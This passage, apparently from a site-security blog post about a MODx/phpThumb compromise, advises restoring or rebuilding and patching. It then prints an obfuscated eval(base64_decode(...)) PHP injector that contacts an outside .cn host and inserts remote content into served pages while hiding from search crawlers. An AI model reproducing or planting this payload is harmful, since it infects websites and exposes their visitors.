It’s virtually impossible to figure out what was damaged by such an exploit: you have to assume that EVERYTHING has been compromised. If you have a backup, you should rollback to that, and you should apply the patch as listed above. If you don’t have a backup, you have to rebuild from known-good versions: a fresh install of MODx and any plugins, but the pisser about this phpThumb thing is that in 1.7.9 (the most current version as of this writing), the exploit is in source code, so you have to manually apply the patch, otherwise your site is vulnerable.
eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFmdW5jdGlvbl9leGlzdHMoInBrdmtfeWh5ayIpICYmICFmdW5jdGlvbl9leGlzdHMoIndzd19lbnR2YyIpICYmICFmdW5jdGlvbl9leGlzdHMoImJxbV9lYWMiKSAmJiAhaXNzZXQoJEdMT0JBTFNbImJhIl0pICYmIEBzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pLCJnb29nbGVib3QiKSA9PT0gZmFsc2UgJiYgQHN0cnBvcyhzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSksIm1zbmJvdCIpID09PSBmYWxzZSAmJiBAc3RycG9zKHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSwieWFob28iKSA9PT0gZmFsc2UgJiYgIWlzc2V0KCRfQ09PS0lFWyJlamRiIl0pICl7JEdMT0JBTFNbImJhIl0gPSAxO3NldGNvb2tpZSgiZWpkYiIsIDEsIHRpbWUoKSszNjAwKjI0KjgsICIvIik7ICAgICAgICAgICAgZnVuY3Rpb24gd3N3X2VudHZjKCRnemVuY29kZV9hcmcpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkeCA9IEBvcmQoQHN1YnN0cigkZ3plbmNvZGVfYXJnLCAzLCAxKSk7DQogICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IDEwOw0KICAgICAgICAgICAgICAgICAgICAkc2hpZnQyID0gMDsNCiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjQgKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdW5wYWNrPUB1bnBhY2soInYiLCBzdWJzdHIoJGd6ZW5jb2RlX2FyZywgMTAsIDIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1bnBhY2s9JHVucGFja1sxXTsgJHNoaWZ0Kz0gMiArICR1bnBhY2s7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjggKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc2hpZnQgPSBAc3RycG9zKCRnemVuY29kZV9hcmcsIGNocigwKSwgJHNoaWZ0KSArIDE7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjE2ICkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ID0gQHN0cnBvcygkZ3plbmNvZGVfYXJnLCBjaHIoMCksICRzaGlmdCkgKyAxOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmKCAkeCYyICkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ICs9IDI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGd6aXAgPSBAZ3ppbmZsYXRlKEBzdWJzdHIoJGd6ZW5jb2RlX2FyZywgJHNoaWZ0KSk7DQogICAgICAgICAgICAgICAgICAgIGlmKCRnemlwID09PSBGQUxTRSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGd6aXAgPSAkZ3plbmNvZGVfYXJnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkZ3ppcDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICBmdW5jdGlvbiBicW1fZWFjKCAkdXJsICkgew0KDQovKiAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImN1cmxfaW5pdCIpKQ0KICAgICAgICB7DQogICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsNCiAgICAgICAgICAgICRjdXJsX3Jlc3VsdCA9IGN1cmxfZXhlYyAoJGNoKTsNCiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgICAgIGlmICgkY3VybF9yZXN1bHQpIHJldHVybiAkY3VybF9yZXN1bHQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoQGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkZmlsZV9yZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZiAoJGZpbGVfcmVzdWx0KSByZXR1cm4gJGZpbGVfcmVzdWx0Ow0KICAgICAgICB9ICAgKi8NCg0KICAgICAgICAkdXJsX2luZm8gPSBwYXJzZV91cmwoJHVybCk7DQogICAgICAgICRxdWVyeSAgPSAiR0VUICR1cmwgSFRUUC8xLjBcclxuIjsNCiAgICAgICAgJHF1ZXJ5IC49ICJIb3N0OiAiIC4gJHVybF9pbmZvWyJob3N0Il0gLiAiXHJcbiI7DQogICAgICAgICRxdWVyeSAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7DQogICAgICAgICRmcCA9IEBmc29ja29wZW4oJHVybF9pbmZvWyJob3N0Il0sIDgwLCAkZXJybm8sICRlcnJzdHIsIDUpOw0KICAgICAgICBpZiAoISRmcCkgcmV0dXJuIGZhbHNlOw0KICAgICAgICBAZnB1dHMoJGZwLCAkcXVlcnkpOw0KICAgICAgICBAc29ja2V0X3NldF90aW1lb3V0ICgkZnAsIDUsIDApOw0KICAgICAgICAkc19yZXRjb2RlID0gQHN1YnN0ciAoQGZnZXRzICgkZnAsIDQwOTYpLCA5LCAzKTsNCiAgICAgICAgaWYgKCRzX3JldGNvZGV7MH0gPD4gIjIiKSB7cmV0dXJuIEZBTFNFO30NCiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICgiXHJcbiIgPT09IEBmZ2V0cyAoJGZwLCA0MDk2KSkge2JyZWFrO30NCiAgICAgICAgfQ0KICAgICAgICAkc29ja2V0X3Jlc3VsdCA9ICIiOw0KICAgICAgICB3aGlsZSAoISBAZmVvZiAoJGZwKSkgew0KICAgICAgICAgICAgJHNvY2tldF9yZXN1bHQgLj0gQGZnZXRzICgkZnAsIDQwOTYpOw0KICAgICAgICB9DQogICAgICAgIEBmY2xvc2UoJGZwKTsNCiAgICAgICAgaWYgKCRzb2NrZXRfcmVzdWx0KSByZXR1cm4gJHNvY2tldF9yZXN1bHQ7DQogICAgfQ0KICAgIGZ1bmN0aW9uIHBrdmtfeWh5aygkdXJ5KXtnbG9iYWwgJGZhbXFfY29rO3JldHVybiBwcmVnX3JlcGxhY2UoIiMoPC90YWJsZT4uKjx0ZD58PC90YWJsZT58PC9kaXY+W148Pl0qPGRpdltePD5dKj58PC9ib2R5PikjaXMiLCAiJDEiIC4gJGZhbXFfY29rLCB3c3dfZW50dmMoJHVyeSksIDEpOw0KICAgIH0kZmFtcV9jb2s9YnFtX2VhYyhiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwyZGpiM1Z1ZEdWeUxtTnVMMmx1Wm04dWNHaHciKSAuICI/aT0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pO0BwcmVnX21hdGNoKCIjPG9wZW4+KC4qKTwvY2xvc2U+IyIsICRmYW1xX2NvaywgJG1hdGNoZXMpOyRmYW1xX2Nvaz0gaXNzZXQoJG1hdGNoZXNbMV0pID8gJG1hdGNoZXNbMV0gOiAiIjtpZiAoJGZhbXFfY29rKSAgb2Jfc3RhcnQoInBrdmtfeWh5ayIpO30="));
).